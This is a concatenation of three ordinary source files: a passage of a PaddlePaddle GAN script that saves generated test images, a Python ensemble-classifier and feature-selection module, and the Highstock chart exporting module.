image_name).astype('int32')[0]]
res_fakeB = Image.fromarray(((fake_B_temp + 1) * 127.5).astype(
np.uint8))
res_fakeB.save(os.path.join(out_path, fakeB_name))
res_inputA = Image.fromarray(((input_A_temp + 1) * 127.5).astype(
np.uint8))
res_inputA.save(os.path.join(out_path, inputA_name))
res_inputB = Image.fromarray(((input_B_temp + 1) * 127.5).astype(
np.uint8))
res_inputB.save(os.path.join(out_path, inputB_name))
elif cfg.model_net == "SPADE":
for data in A_test_reader():
data_A, data_B, data_C, name = data[0]['input_label'], data[0][
'input_img'], data[0]['input_ins'], data[0]['image_name']
fake_B_temp = exe.run(test_program,
fetch_list=[g_trainer.fake_B],
feed={
"input_label": data_A,
"input_img": data_B,
"input_ins": data_C
})
fake_B_temp = np.squeeze(fake_B_temp[0]).transpose([1, 2, 0])
input_B_temp = np.squeeze(data_B[0]).transpose([1, 2, 0])
image_name = A_id2name[np.array(name).astype('int32')[0]]
res_fakeB = Image.fromarray(((fake_B_temp + 1) * 127.5).astype(
np.uint8))
res_fakeB.save(out_path + "/fakeB_" + str(epoch) + "_" + image_name)
res_real = Image.fromarray(((input_B_temp + 1) * 127.5).astype(
np.uint8))
res_real.save(out_path + "/real_" + str(epoch) + "_" + image_name)
elif cfg.model_net == "StarGAN":
for data in A_test_reader():
real_img, label_org, label_trg, image_name = data[0][
'image_real'], data[0]['label_org'], data[0]['label_trg'], data[
0]['image_name']
attr_names = cfg.selected_attrs.split(',')
real_img_temp = save_batch_image(np.array(real_img))
images = [real_img_temp]
for i in range(cfg.c_dim):
label_trg_tmp = copy.deepcopy(np.array(label_org))
for j in range(len(np.array(label_org))):
label_trg_tmp[j][i] = 1.0 - label_trg_tmp[j][i]
np_label_trg = check_attribute_conflict(
label_trg_tmp, attr_names[i], attr_names)
label_trg.set(np_label_trg, place)
fake_temp, rec_temp = exe.run(
test_program,
feed={
"image_real": real_img,
"label_org": label_org,
"label_trg": label_trg
},
fetch_list=[g_trainer.fake_img, g_trainer.rec_img])
fake_temp = save_batch_image(fake_temp)
rec_temp = save_batch_image(rec_temp)
images.append(fake_temp)
images.append(rec_temp)
images_concat = np.concatenate(images, 1)
if len(np.array(label_org)) > 1:
images_concat = np.concatenate(images_concat, 1)
image_name_save = "fake_img" + str(epoch) + "_" + str(
np.array(image_name)[0].astype('int32')) + '.jpg'
res = Image.fromarray(((images_concat + 1) * 127.5).astype(
np.uint8))
res.save(os.path.join(out_path, image_name_save))
elif cfg.model_net == 'AttGAN' or cfg.model_net == 'STGAN':
for data in A_test_reader():
real_img, label_org, label_trg, image_name = data[0][
'image_real'], data[0]['label_org'], data[0]['label_trg'], data[
0]['image_name']
attr_names = cfg.selected_attrs.split(',')
real_img_temp = save_batch_image(np.array(real_img))
images = [real_img_temp]
for i in range(cfg.c_dim):
label_trg_tmp = copy.deepcopy(np.array(label_trg))
for j in range(len(label_trg_tmp)):
label_trg_tmp[j][i] = 1.0 - label_trg_tmp[j][i]
label_trg_tmp = check_attribute_conflict(
label_trg_tmp, attr_names[i], attr_names)
label_org_tmp = list(
map(lambda x: ((x * 2) - 1) * 0.5, np.array(label_org)))
label_trg_tmp = list(
map(lambda x: ((x * 2) - 1) * 0.5, label_trg_tmp))
if cfg.model_net == 'AttGAN':
for k in range(len(label_trg_tmp)):
label_trg_tmp[k][i] = label_trg_tmp[k][i] * 2.0
tensor_label_org_ = fluid.LoDTensor()
tensor_label_org_.set(label_org_tmp, place)
tensor_label_trg_ = fluid.LoDTensor()
tensor_label_trg_.set(label_trg_tmp, place)
out = exe.run(test_program,
feed={
"image_real": real_img,
"label_org": label_org,
"label_org_": tensor_label_org_,
"label_trg": label_trg,
"label_trg_": tensor_label_trg_
},
fetch_list=[g_trainer.fake_img])
fake_temp = save_batch_image(out[0])
images.append(fake_temp)
images_concat = np.concatenate(images, 1)
if len(label_trg_tmp) > 1:
images_concat = np.concatenate(images_concat, 1)
image_name_save = 'fake_img_' + str(epoch) + '_' + str(
np.array(image_name)[0].astype('int32')) + '.jpg'
res = Image.fromarray(((images_concat + 1) * 127.5).astype(
np.uint8))
res.save(os.path.join(out_path, image_name_save))
else:
for data_A, data_B in zip(A_test_reader(), B_test_reader()):
A_data, A_name = data_A[0]['input_A'], data_A[0]['A_image_name']
B_data, B_name = data_B[0]['input_B'], data_B[0]['B_image_name']
fake_A_temp, fake_B_temp, cyc_A_temp, cyc_B_temp = exe.run(
test_program,
fetch_list=[
g_trainer.fake_A, g_trainer.fake_B, g_trainer.cyc_A,
g_trainer.cyc_B
],
feed={"input_A": A_data,
"input_B": B_data})
fake_A_temp = np.squeeze(fake_A_temp[0]).transpose([1, 2, 0])
fake_B_temp = np.squeeze(fake_B_temp[0]).transpose([1, 2, 0])
cyc_A_temp = np.squeeze(cyc_A_temp[0]).transpose([1, 2, 0])
cyc_B_temp = np.squeeze(cyc_B_temp[0]).transpose([1, 2, 0])
input_A_temp = np.squeeze(np.array(A_data)).transpose([1, 2, 0])
input_B_temp = np.squeeze(np.array(B_data)).transpose([1, 2, 0])
fakeA_name = "fakeA_" + str(epoch) + "_" + A_id2name[np.array(
A_name).astype('int32')[0]]
fakeB_name = "fakeB_" + str(epoch) + "_" + B_id2name[np.array(
B_name).astype('int32')[0]]
inputA_name = "inputA_" + str(epoch) + "_" + A_id2name[np.array(
A_name).astype('int32')[0]]
inputB_name = "inputB_" + str(epoch) + "_" + B_id2name[np.array(
B_name).astype('int32')[0]]
cycA_name = "cycA_" + str(epoch) + "_" + A_id2name[np.array(
A_name).astype('int32')[0]]
cycB_name = "cycB_" + str(epoch) + "_" + B_id2name[np.array(
B_name).astype('int32')[0]]
res_fakeB = Image.fromarray(((fake_B_temp + 1) * 127.5).astype(
np.uint8))
res_fakeB.save(os.path.join(out_path, fakeB_name))
res_fakeA = Image.fromarray(((fake_A_temp + 1) * 127.5).astype(
np.uint8))
res_fakeA.save(os.path.join(out_path, fakeA_name))
res_cycA = Image.fromarray(((cyc_A_temp + 1) * 127.5).astype(
np.uint8))
res_cycA.save(os.path.join(out_path, cycA_name))
res_cycB = Image.fromarray(((cyc_B_temp + 1) * 127.5).astype(
np.uint8))
res_cycB.save(os.path.join(out_path, cycB_name))
res_inputA = Image.fromarray(((input_A_temp + 1) * 127.5).astype(
np.uint8))
res_inputA.save(os.path.join(out_path, inputA_name))
res_inputB = Image.fromarray(((input_B_temp + 1) * 127.5).astype(
np.uint8))
res_inputB.save(os.path.join(out_path, inputB_name))
class ImagePool(object):
def __init__(self, pool_size=50):
self.pool = []
self.count = 0
self.pool_size = pool_size
def pool_image(self, image):
if self.count < self.pool_size:
self.pool.append(image)
self.count += 1
return image
else:
p = np.random.rand()
if p > 0.5:
random_id = np.random.randint(0, self.pool_size - 1)
temp = self.pool[random_id]
self.pool[random_id] = image
return temp
else:
return image
def check_attribute_conflict(label_batch, attr, attrs):
''' Based on https://github.com/LynnHo/AttGAN-Tensorflow'''
def _set(label, value, attr):
if attr in attrs:
label[attrs.index(attr)] = value
attr_id = attrs.index(attr)
for label in label_batch:
if attr in ['Bald', 'Receding_Hairline'] and attrs[attr_id] != 0:
_set(label, 0, 'Bangs')
elif attr == 'Bangs' and attrs[attr_id] != 0:
_set(label, 0, 'Bald')
_set(label, 0, 'Receding_Hairline')
elif attr in ['Black_Hair', 'Blond_Hair', 'Brown_Hair', 'Gray_Hair'
] and attrs[attr_id] != 0:
for a in ['Black_Hair', 'Blond_Hair', 'Brown_Hair', 'Gray_Hair']:
if a != attr:
_set(label, 0, a)
elif attr in ['Straight_Hair', 'Wavy_Hair'] and attrs[attr_id] != 0:
for a in ['Straight_Hair', 'Wavy_Hair']:
if a != attr:
_set(label, 0, a)
return label_batch
def save_batch_image(img):
#if img.shape[0] == 1:
if len(img) == 1:
res_img = np.squeeze(img).transpose([1, 2, 0])
else:
res_img = np.squeeze(img).transpose([0, 2, 3, 1])
return res_img
def check_gpu(use_gpu):
"""
Log error and exit when set use_gpu=true in paddlepaddle
cpu version.
"""
err = "Config use_gpu cannot be set as true while you are " \
"using paddlepaddle cpu version ! \nPlease try: \n" \
"\t1. Install paddlepaddle-gpu to run model on GPU \n" \
"\t2. Set use_gpu as false in config file to run " \
"model on CPU"
try:
if use_gpu and not fluid.is_compiled_with_cuda():
print(err)
sys.exit(1)
except Exception as e:
pass
def check_version():
"""
Log error and exit when the installed version of paddlepaddle is
not satisfied.
"""
err = "PaddlePaddle version 1.6 or higher is required, " \
"or a suitable develop version is satisfied as well. \n" \
"Please make sure the version is good with your code." \
try:
fluid.require_version('1.6.0')
except Exception as e:
print(err)
sys.exit(1)
def get_device_num(args):
if args.use_gpu:
gpus = os.environ.get("CUDA_VISIBLE_DEVICES", 1)
gpu_num = len(gpus.split(','))
return gpu_num
else:
cpu_num = os.environ.get("CPU_NUM", 1)
return int(cpu_num)
|
from DataSelection_Resistance import SelectData
import numpy as np
from numpy import random
from sklearn.tree import DecisionTreeClassifier
from sklearn.svm import SVC
import pandas as pd
from sklearn.model_selection import train_test_split
__author__ = 'LiangjunFeng'
class SelectData():
def __init__(self):
self.classnum = 0
self.classlist = 0
self.bagging_train = []
self.bagging_label = []
self.subcount = 0
def count(self,label):
classlist = []
for i in range(label.shape[0]):
if label[i] not in classlist:
classlist.append(label[i])
return classlist,len(classlist)
def adding(self,data_sub,label_sub,data_main,propotion):
center_main = np.mean(data_main,axis = 0)
distance = np.linalg.norm(data_sub - center_main,axis = 1)
resistance = distance / max(distance)
self.subcount = 0
lis = []
while self.subcount <= int(propotion*data_sub.shape[0]):
for i in range(len(distance)):
if self.subcount > int(propotion*data_sub.shape[0]):
break
if resistance[i] >= random.random() and i not in lis:
self.bagging_train.append(np.ravel(data_sub[i,:]))
self.bagging_label.append(np.ravel(label_sub[i,0]))
self.subcount += 1
lis.append(i)
def select(self,data,label,propotion):
label = np.ravel(label)
self.classlist,self.classnum = self.count(label)
for i in range(self.classnum):
data_main = []
data_sub = []
label_sub = []
for j in range(data.shape[0]):
if label[j] == self.classlist[i]:
data_sub.append(data[j,:])
label_sub.append(label[j])
else:
data_main.append(data[j,:])
self.adding(np.mat(data_sub),np.mat(label_sub).T,np.mat(data_main),propotion)
self.bagging_train = np.mat(self.bagging_train)
self.bagging_label = np.mat(self.bagging_label)
return self.bagging_train,np.ravel(self.bagging_label)
class RestrictedEnsembleClassifier:
def __init__(self,basetype = "Tree",
n_estimators = 100,
subsample = 0.8,
subfeature = 0.8,
searchtimes = 0.7,
a = 2):
self.a = a
self.label_record = 0
self.basetype = basetype
self.number = n_estimators
self.subsample = subsample
self.subfeature = subfeature
self.searchtimes = searchtimes
self.estimatorlist = []
self.penaltyVector = []
self.fealist = []
self.acclist = []
self.arr = []
self.baseClassifierdict = {"SVC":SVC,"Tree":DecisionTreeClassifier}
self.baseClassifier = self.baseClassifierdict[self.basetype]
def accuracy(self,predictlabel,label,penaltyVector):
label = np.ravel(label).tolist()
predictlabel = predictlabel.tolist()
count = 0
for i in range(len(label)):
if label[i] == predictlabel[i]:
count += 1
return (np.sum(penaltyVector)**self.a)*(1 - round(count/len(label),5))
def get_randlist(self,maximum,num):
randlist = []
while len(randlist) < num:
t = random.randint(0,maximum-1)
if t not in randlist:
randlist.append(t)
return randlist
def get_localPV(self,randlist):
local_PV = []
for i in range(len(randlist)):
local_PV.append(self.penaltyVector[randlist[i]])
return local_PV
def get_minloc(self,errlist):
minimum = 100
loc = 0
for i in range(len(errlist)):
if errlist[i] < minimum:
minimum = errlist[i]
loc = i
self.acclist.append(np.exp(1)-errlist[loc])
return loc
def refreshPV(self,err,randlist,times):
for i in range(len(randlist)):
self.penaltyVector[randlist[i]] = (self.penaltyVector[randlist[i]]*(times+1)+err)/(times+2)
self.penaltyVector = self.penaltyVector/np.sum(self.penaltyVector)
def count(self,label):
classlist = []
for i in range(len(label)):
if label[i] not in classlist:
classlist.append(label[i])
return classlist,len(classlist)
def labeltransfer(self,label):
self.label_record = int(min(label))
label -= self.label_record
return np.ravel(label)
def labelinver(self,label):
label = label + self.label_record
return np.ravel(label)
def fit(self,data,label):
label = self.labeltransfer(label.copy())
self.penaltyVector = [1/data.shape[1]]*data.shape[1]
for i in range(self.number):
local_estimatorlist = []
errlist = []
local_list = []
for j in range(int(self.searchtimes*data.shape[1])+1):
randlist = self.get_randlist(data.shape[1],int(self.subfeature*data.shape[1]))
local_list.append(randlist)
local_PV = self.get_localPV(randlist)
sel = SelectData()
local_data,local_label = sel.select(data[:,randlist],label,self.subsample)
clf = self.baseClassifier()
clf.fit(local_data,local_label)
pre = clf.predict(local_data)
err = self.accuracy(pre,local_label,local_PV)
local_estimatorlist.append(clf)
errlist.append(err)
loc = self.get_minloc(errlist)
self.estimatorlist.append(local_estimatorlist[loc])
self.fealist.append(local_list[loc])
self.refreshPV(errlist[loc],local_list[loc],i)
def vote(self,resall):
res = []
for i in range(resall.shape[1]):
vec = np.ravel(resall[:,i]).tolist()
classlist,_ = self.count(vec)
votlis = [0]*(max(classlist)+1)
self.acclist = (np.array(self.acclist) / np.sum((self.acclist)).tolist())
for j in range(len(vec)):
votlis[vec[j]] += self.acclist[j]
res.append(votlis.index(max(votlis)))
return np.mat(res)
def predict(self,data):
reslist = []
for i in range(len(self.estimatorlist)):
res = self.estimatorlist[i].predict(data[:,self.fealist[i]])
res = self.labelinver(res)
reslist.append(res)
res = self.vote(np.mat(reslist))
return np.ravel(res)
def select_fea(self,data,label,num = -1):
self.fit(data,label)
if num == -1:
num = int(0.2*data.shape[1])
sf = pd.DataFrame()
sf['PV'] = self.penaltyVector
sf['index'] = range(len(self.penaltyVector))
sf = sf.sort_values(by='PV')
self.arr = np.ravel(sf.iloc[0:num,1].values).tolist()
return data[:,self.arr]
def fea_transform(self,data):
return data[:,self.arr]
|
/**
* @license Highstock JS v2.1.9 (2015-10-07)
* Exporting module
*
* (c) 2010-2014 Torstein Honsi
*
* License: www.highcharts.com/license
*/
// JSLint options:
/*global Highcharts, HighchartsAdapter, document, window, Math, setTimeout */
(function (Highcharts) { // encapsulate
// create shortcuts
var Chart = Highcharts.Chart,
addEvent = Highcharts.addEvent,
removeEvent = Highcharts.removeEvent,
fireEvent = HighchartsAdapter.fireEvent,
createElement = Highcharts.createElement,
discardElement = Highcharts.discardElement,
css = Highcharts.css,
merge = Highcharts.merge,
each = Highcharts.each,
extend = Highcharts.extend,
splat = Highcharts.splat,
math = Math,
mathMax = math.max,
doc = document,
win = window,
isTouchDevice = Highcharts.isTouchDevice,
M = 'M',
L = 'L',
DIV = 'div',
HIDDEN = 'hidden',
NONE = 'none',
PREFIX = 'highcharts-',
ABSOLUTE = 'absolute',
PX = 'px',
UNDEFINED,
symbols = Highcharts.Renderer.prototype.symbols,
defaultOptions = Highcharts.getOptions(),
buttonOffset;
// Add language
extend(defaultOptions.lang, {
printChart: 'Print chart',
downloadPNG: 'Download PNG image',
downloadJPEG: 'Download JPEG image',
downloadPDF: 'Download PDF document',
downloadSVG: 'Download SVG vector image',
contextButtonTitle: 'Chart context menu'
});
// Buttons and menus are collected in a separate config option set called 'navigation'.
// This can be extended later to add control buttons like zoom and pan right click menus.
defaultOptions.navigation = {
menuStyle: {
border: '1px solid #A0A0A0',
background: '#FFFFFF',
padding: '5px 0'
},
menuItemStyle: {
padding: '0 10px',
background: NONE,
color: '#303030',
fontSize: isTouchDevice ? '14px' : '11px'
},
menuItemHoverStyle: {
background: '#4572A5',
color: '#FFFFFF'
},
buttonOptions: {
symbolFill: '#E0E0E0',
symbolSize: 14,
symbolStroke: '#666',
symbolStrokeWidth: 3,
symbolX: 12.5,
symbolY: 10.5,
align: 'right',
buttonSpacing: 3,
height: 22,
// text: null,
theme: {
fill: 'white', // capture hover
stroke: 'none'
},
verticalAlign: 'top',
width: 24
}
};
// Add the export related options
defaultOptions.exporting = {
//enabled: true,
//filename: 'chart',
type: 'image/png',
url: 'http://export.highcharts.com/',
//width: undefined,
//scale: 2
buttons: {
contextButton: {
menuClassName: PREFIX + 'contextmenu',
//x: -10,
symbol: 'menu',
_titleKey: 'contextButtonTitle',
menuItems: [{
textKey: 'printChart',
onclick: function () {
this.print();
}
}, {
separator: true
}, {
textKey: 'downloadPNG',
onclick: function () {
this.exportChart();
}
}, {
textKey: 'downloadJPEG',
onclick: function () {
this.exportChart({
type: 'image/jpeg'
});
}
}, {
textKey: 'downloadPDF',
onclick: function () {
this.exportChart({
type: 'application/pdf'
});
}
}, {
textKey: 'downloadSVG',
onclick: function () {
this.exportChart({
type: 'image/svg+xml'
});
}
}
// Enable this block to add "View SVG" to the dropdown menu
/*
,{
text: 'View SVG',
onclick: function () {
var svg = this.getSVG()
.replace(/</g, '\n<')
.replace(/>/g, '>');
doc.body.innerHTML = '<pre>' + svg + '</pre>';
}
} // */
]
}
}
};
// Add the Highcharts.post utility
Highcharts.post = function (url, data, formAttributes) {
var name,
form;
// create the form
form = createElement('form', merge({
method: 'post',
action: url,
enctype: 'multipart/form-data'
}, formAttributes), {
display: NONE
}, doc.body);
// add the data
for (name in data) {
createElement('input', {
type: HIDDEN,
name: name,
value: data[name]
}, null, form);
}
// submit
form.submit();
// clean up
discardElement(form);
};
extend(Chart.prototype, {
/**
* A collection of regex fixes on the produces SVG to account for expando properties,
* browser bugs, VML problems and other. Returns a cleaned SVG.
*/
sanitizeSVG: function (svg) {
return svg
.replace(/zIndex="[^"]+"/g, '')
.replace(/isShadow="[^"]+"/g, '')
.replace(/symbolName="[^"]+"/g, '')
.replace(/jQuery[0-9]+="[^"]+"/g, '')
.replace(/url\([^#]+#/g, 'url(#')
.replace(/<svg /, '<svg xmlns:xlink="http://www.w3.org/1999/xlink" ')
.replace(/ (NS[0-9]+\:)?href=/g, ' xlink:href=') // #3567
.replace(/\n/, ' ')
// Any HTML added to the container after the SVG (#894)
.replace(/<\/svg>.*?$/, '</svg>')
// Batik doesn't support rgba fills and strokes (#3095)
.replace(/(fill|stroke)="rgba\(([ 0-9]+,[ 0-9]+,[ 0-9]+),([ 0-9\.]+)\)"/g, '$1="rgb($2)" $1-opacity="$3"')
/* This fails in IE < 8
.replace(/([0-9]+)\.([0-9]+)/g, function(s1, s2, s3) { // round off to save weight
return s2 +'.'+ s3[0];
})*/
// Replace HTML entities, issue #347
.replace(/ /g, '\u00A0') // no-break space
.replace(/­/g, '\u00AD') // soft hyphen
// IE specific
.replace(/<IMG /g, '<image ')
.replace(/<(\/?)TITLE>/g, '<$1title>')
.replace(/height=([^" ]+)/g, 'height="$1"')
.replace(/width=([^" ]+)/g, 'width="$1"')
.replace(/hc-svg-href="([^"]+)">/g, 'xlink:href="$1"/>')
.replace(/ id=([^" >]+)/g, ' id="$1"') // #4003
.replace(/class=([^" >]+)/g, 'class="$1"')
.replace(/ transform /g, ' ')
.replace(/:(path|rect)/g, '$1')
.replace(/style="([^"]+)"/g, function (s) {
return s.toLowerCase();
});
},
/**
* Return innerHTML of chart. Used as hook for plugins.
*/
getChartHTML: function () {
return this.container.innerHTML;
},
/**
* Return an SVG representation of the chart
*
* @param additionalOptions {Object} Additional chart options for the generated SVG representation
*/
getSVG: function (additionalOptions) {
var chart = this,
chartCopy,
sandbox,
svg,
seriesOptions,
sourceWidth,
sourceHeight,
cssWidth,
cssHeight,
html,
options = merge(chart.options, additionalOptions), // copy the options and add extra options
allowHTML = options.exporting.allowHTML; // docs: experimental, see #2473
// IE compatibility hack for generating SVG content that it doesn't really understand
if (!doc.createElementNS) {
/*jslint unparam: true*//* allow unused parameter ns in function below */
doc.createElementNS = function (ns, tagName) {
return doc.createElement(tagName);
};
/*jslint unparam: false*/
}
// create a sandbox where a new chart will be generated
sandbox = createElement(DIV, null, {
position: ABSOLUTE,
top: '-9999em',
width: chart.chartWidth + PX,
height: chart.chartHeight + PX
}, doc.body);
// get the source size
cssWidth = chart.renderTo.style.width;
cssHeight = chart.renderTo.style.height;
sourceWidth = options.exporting.sourceWidth ||
options.chart.width ||
(/px$/.test(cssWidth) && parseInt(cssWidth, 10)) ||
600;
sourceHeight = options.exporting.sourceHeight ||
options.chart.height ||
(/px$/.test(cssHeight) && parseInt(cssHeight, 10)) ||
400;
// override some options
extend(options.chart, {
animation: false,
renderTo: sandbox,
forExport: true,
renderer: 'SVGRenderer',
width: sourceWidth,
height: sourceHeight
});
options.exporting.enabled = false; // hide buttons in print
delete options.data; // #3004
// prepare for replicating the chart
options.series = [];
each(chart.series, function (serie) {
seriesOptions = merge(serie.options, {
animation: false, // turn off animation
enableMouseTracking: false,
showCheckbox: false,
visible: serie.visible
});
if (!seriesOptions.isInternal) { // used for the navigator series that has its own option set
options.series.push(seriesOptions);
}
});
// Axis options must be merged in one by one, since it may be an array or an object (#2022, #3900)
if (additionalOptions) {
each(['xAxis', 'yAxis'], function (axisType) {
each(splat(additionalOptions[axisType]), function (axisOptions, i) {
options[axisType][i] = merge(options[axisType][i], axisOptions);
});
});
}
// generate the chart copy
chartCopy = new Highcharts.Chart(options, chart.callback);
// reflect axis extremes in the export
each(['xAxis', 'yAxis'], function (axisType) {
each(chart[axisType], function (axis, i) {
var axisCopy = chartCopy[axisType][i],
extremes = axis.getExtremes(),
userMin = extremes.userMin,
userMax = extremes.userMax;
if (axisCopy && (userMin !== UNDEFINED || userMax !== UNDEFINED)) {
axisCopy.setExtremes(userMin, userMax, true, false);
}
});
});
// get the SVG from the container's innerHTML
svg = chartCopy.getChartHTML();
// free up memory
options = null;
chartCopy.destroy();
discardElement(sandbox);
// Move HTML into a foreignObject
if (allowHTML) {
html = svg.match(/<\/svg>(.*?$)/);
if (html) {
html = '<foreignObject x="0" y="0" width="200" height="200">' +
'<body xmlns="http://www.w3.org/1999/xhtml">' +
html[1] +
'</body>' +
'</foreignObject>';
svg = svg.replace('</svg>', html + '</svg>');
}
}
// sanitize
svg = this.sanitizeSVG(svg);
// IE9 beta bugs with innerHTML. Test again with final IE9.
svg = svg.replace(/(url\(#highcharts-[0-9]+)"/g, '$1')
.replace(/"/g, "'");
return svg;
},
getSVGForExport: function (options, chartOptions) {
var chartExportingOptions = this.options.exporting;
return this.getSVG(merge(
{ chart: { borderRadius: 0 } },
chartExportingOptions.chartOptions,
chartOptions,
{
exporting: {
sourceWidth: (options && options.sourceWidth) || chartExportingOptions.sourceWidth,
sourceHeight: (options && options.sourceHeight) || chartExportingOptions.sourceHeight
}
}
));
},
/**
* Submit the SVG representation of the chart to the server
* @param {Object} options Exporting options. Possible members are url, type, width and formAttributes.
* @param {Object} chartOptions Additional chart options for the SVG representation of the chart
*/
exportChart: function (options, chartOptions) {
var svg = this.getSVGForExport(options, chartOptions);
// merge the options
options = merge(this.options.exporting, options);
// do the post
Highcharts.post(options.url, {
filename: options.filename || 'chart',
type: options.type,
width: options.width || 0, // IE8 fails to post undefined correctly, so use 0
scale: options.scale || 2,
svg: svg
}, options.formAttributes);
},
/**
* Print the chart
*/
print: function () {
var chart = this,
container = chart.container,
origDisplay = [],
origParent = container.parentNode,
body = doc.body,
childNodes = body.childNodes;
if (chart.isPrinting) { // block the button while in printing mode
return;
}
chart.isPrinting = true;
fireEvent(chart, 'beforePrint');
// hide all body content
each(childNodes, function (node, i) {
if (node.nodeType === 1) {
origDisplay[i] = node.style.display;
node.style.display = NONE;
}
});
// pull out the chart
body.appendChild(container);
// print
win.focus(); // #1510
win.print();
// allow the browser to prepare before reverting
setTimeout(function () {
// put the chart back in
origParent.appendChild(container);
// restore all body content
each(childNodes, function (node, i) {
if (node.nodeType === 1) {
node.style.display = origDisplay[i];
}
});
chart.isPrinting = false;
fireEvent(chart, 'afterPrint');
}, 1000);
},
/**
* Display a popup menu for choosing the export type
*
* @param {String} className An identifier for the menu
* @param {Array} items A collection with text and onclicks for the items
* @param {Number} x The x position of the opener button
* @param {Number} y The y position of the opener button
* @param {Number} width The width of the opener button
* @param {Number} height The height of the opener button
*/
contextMenu: function (className, items, x, y, width, height, button) {
var chart = this,
navOptions = chart.options.navigation,
menuItemStyle = navOptions.menuItemStyle,
chartWidth = chart.chartWidth,
chartHeight = chart.chartHeight,
cacheName = 'cache-' + className,
menu = chart[cacheName],
menuPadding = mathMax(width, height), // for mouse leave detection
boxShadow = '3px 3px 10px #888',
innerMenu,
hide,
hideTimer,
menuStyle,
docMouseUpHandler = function (e) {
if (!chart.pointer.inClass(e.target, className)) {
hide();
}
};
// create the menu only the first time
if (!menu) {
// create a HTML element above the SVG
chart[cacheName] = menu = createElement(DIV, {
className: className
}, {
position: ABSOLUTE,
zIndex: 1000,
padding: menuPadding + PX
}, chart.container);
innerMenu = createElement(DIV, null,
extend({
MozBoxShadow: boxShadow,
WebkitBoxShadow: boxShadow,
boxShadow: boxShadow
}, navOptions.menuStyle), menu);
// hide on mouse out
hide = function () {
css(menu, { display: NONE });
if (button) {
button.setState(0);
}
chart.openMenu = false;
};
// Hide the menu some time after mouse leave (#1357)
addEvent(menu, 'mouseleave', function () {
hideTimer = setTimeout(hide, 500);
});
addEvent(menu, 'mouseenter', function () {
clearTimeout(hideTimer);
});
// Hide it on clicking or touching outside the menu (#2258, #2335, #2407)
addEvent(document, 'mouseup', docMouseUpHandler);
addEvent(chart, 'destroy', function () {
removeEvent(document, 'mouseup', docMouseUpHandler);
});
// create the items
each(items, function (item) {
if (item) {
var element = item.separator ?
createElement('hr', null, null, innerMenu) :
createElement(DIV, {
onmouseover: function () {
css(this, navOptions.menuItemHoverStyle);
},
onmouseout: function () {
css(this, menuItemStyle);
},
onclick: function (e) {
e.stopPropagation();
hide();
if (item.onclick) {
item.onclick.apply(chart, arguments);
}
},
innerHTML: item.text || chart.options.lang[item.textKey]
}, extend({
cursor: 'pointer'
}, menuItemStyle), innerMenu);
// Keep references to menu divs to be able to destroy them
chart.exportDivElements.push(element);
}
});
// Keep references to menu and innerMenu div to be able to destroy them
chart.exportDivElements.push(innerMenu, menu);
chart.exportMenuWidth = menu.offsetWidth;
chart.exportMenuHeight = menu.offsetHeight;
}
menuStyle = { display: 'block' };
// if outside right, right align it
if (x + chart.exportMenuWidth > chartWidth) {
menuStyle.right = (chartWidth - x - width - menuPadding) + PX;
} else {
menuStyle.left = (x - menuPadding) + PX;
}
// if outside bottom, bottom align it
if (y + height + chart.exportMenuHeight > chartHeight && button.alignOptions.verticalAlign !== 'top') {
menuStyle.bottom = (chartHeight - y - menuPadding) + PX;
} else {
menuStyle.top = (y + height - menuPadding) + PX;
}
css(menu, menuStyle);
chart.openMenu = true;
},
/**
* Add the export button to the chart
*/
addButton: function (options) {
var chart = this,
renderer = chart.renderer,
btnOptions = merge(chart.options.navigation.buttonOptions, options),
onclick = btnOptions.onclick,
menuItems = btnOptions.menuItems,
symbol,
button,
symbolAttr = {
stroke: btnOptions.symbolStroke,
fill: btnOptions.symbolFill
},
symbolSize = btnOptions.symbolSize || 12;
if (!chart.btnCount) {
chart.btnCount = 0;
}
// Keeps references to the button elements
if (!chart.exportDivElements) {
chart.exportDivElements = [];
chart.exportSVGElements = [];
}
if (btnOptions.enabled === false) {
return;
}
var attr = btnOptions.theme,
states = attr.states,
hover = states && states.hover,
select = states && states.select,
callback;
delete attr.states;
if (onclick) {
callback = function (e) {
e.stopPropagation();
onclick.call(chart, e);
};
} else if (menuItems) {
callback = function () {
chart.contextMenu(
button.menuClassName,
menuItems,
button.translateX,
button.translateY,
button.width,
button.height,
button
);
button.setState(2);
};
}
if (btnOptions.text && btnOptions.symbol) {
attr.paddingLeft = Highcharts.pick(attr.paddingLeft, 25);
} else if (!btnOptions.text) {
extend(attr, {
width: btnOptions.width,
height: btnOptions.height,
padding: 0
});
}
button = renderer.button(btnOptions.text, 0, 0, callback, attr, hover, select)
.attr({
title: chart.options.lang[btnOptions._titleKey],
'stroke-linecap': 'round'
});
button.menuClassName = options.menuClassName || PREFIX + 'menu-' + chart.btnCount++;
if (btnOptions.symbol) {
symbol = renderer.symbol(
btnOptions.symbol,
btnOptions.symbolX - (symbolSize / 2),
btnOptions.symbolY - (symbolSize / 2),
symbolSize,
symbolSize
)
.attr(extend(symbolAttr, {
'stroke-width': btnOptions.symbolStrokeWidth || 1,
zIndex: 1
})).add(button);
}
button.add()
.align(extend(btnOptions, {
width: button.width,
x: Highcharts.pick(btnOptions.x, buttonOffset) // #1654
}), true, 'spacingBox');
buttonOffset += (button.width + btnOptions.buttonSpacing) * (btnOptions.align === 'right' ? -1 : 1);
chart.exportSVGElements.push(button, symbol);
},
/**
* Destroy the buttons.
*/
destroyExport: function (e) {
var chart = e.target,
i,
elem;
// Destroy the extra buttons added
for (i = 0; i < chart.exportSVGElements.length; i++) {
elem = chart.exportSVGElements[i];
// Destroy and null the svg/vml elements
if (elem) { // #1822
elem.onclick = elem.ontouchstart = null;
chart.exportSVGElements[i] = elem.destroy();
}
}
// Destroy the divs for the menu
for (i = 0; i < chart.exportDivElements.length; i++) {
elem = chart.exportDivElements[i];
// Remove the event handler
removeEvent(elem, 'mouseleave');
// Remove inline events
chart.exportDivElements[i] = elem.onmouseout = elem.onmouseover = elem.ontouchstart = elem.onclick = null;
// Destroy the div by moving to garbage bin
discardElement(elem);
}
}
});
symbols.menu = function (x, y, width, height) {
var arr = [
M, x, y + 2.5,
L, x + width, y + 2.5,
M, x, y + height / 2 + 0.5,
L, x + width, y + height / 2 + 0.5,
M, x, y + height - 1.5,
L, x + width, y + height - 1.5
];
return arr;
};
// Add the buttons on chart load
Chart.prototype.callbacks.push(function (chart) {
var n,
exportingOptions = chart.options.exporting,
buttons = exportingOptions.buttons;
buttonOffset = 0;
if (exportingOptions.enabled !== false) {
for (n in buttons) {
chart.addButton(buttons[n]);
}
// Destroy the export elements at chart destroy
addEvent(chart, 'destroy', chart.destroyExport);
}
});
}(Highcharts));
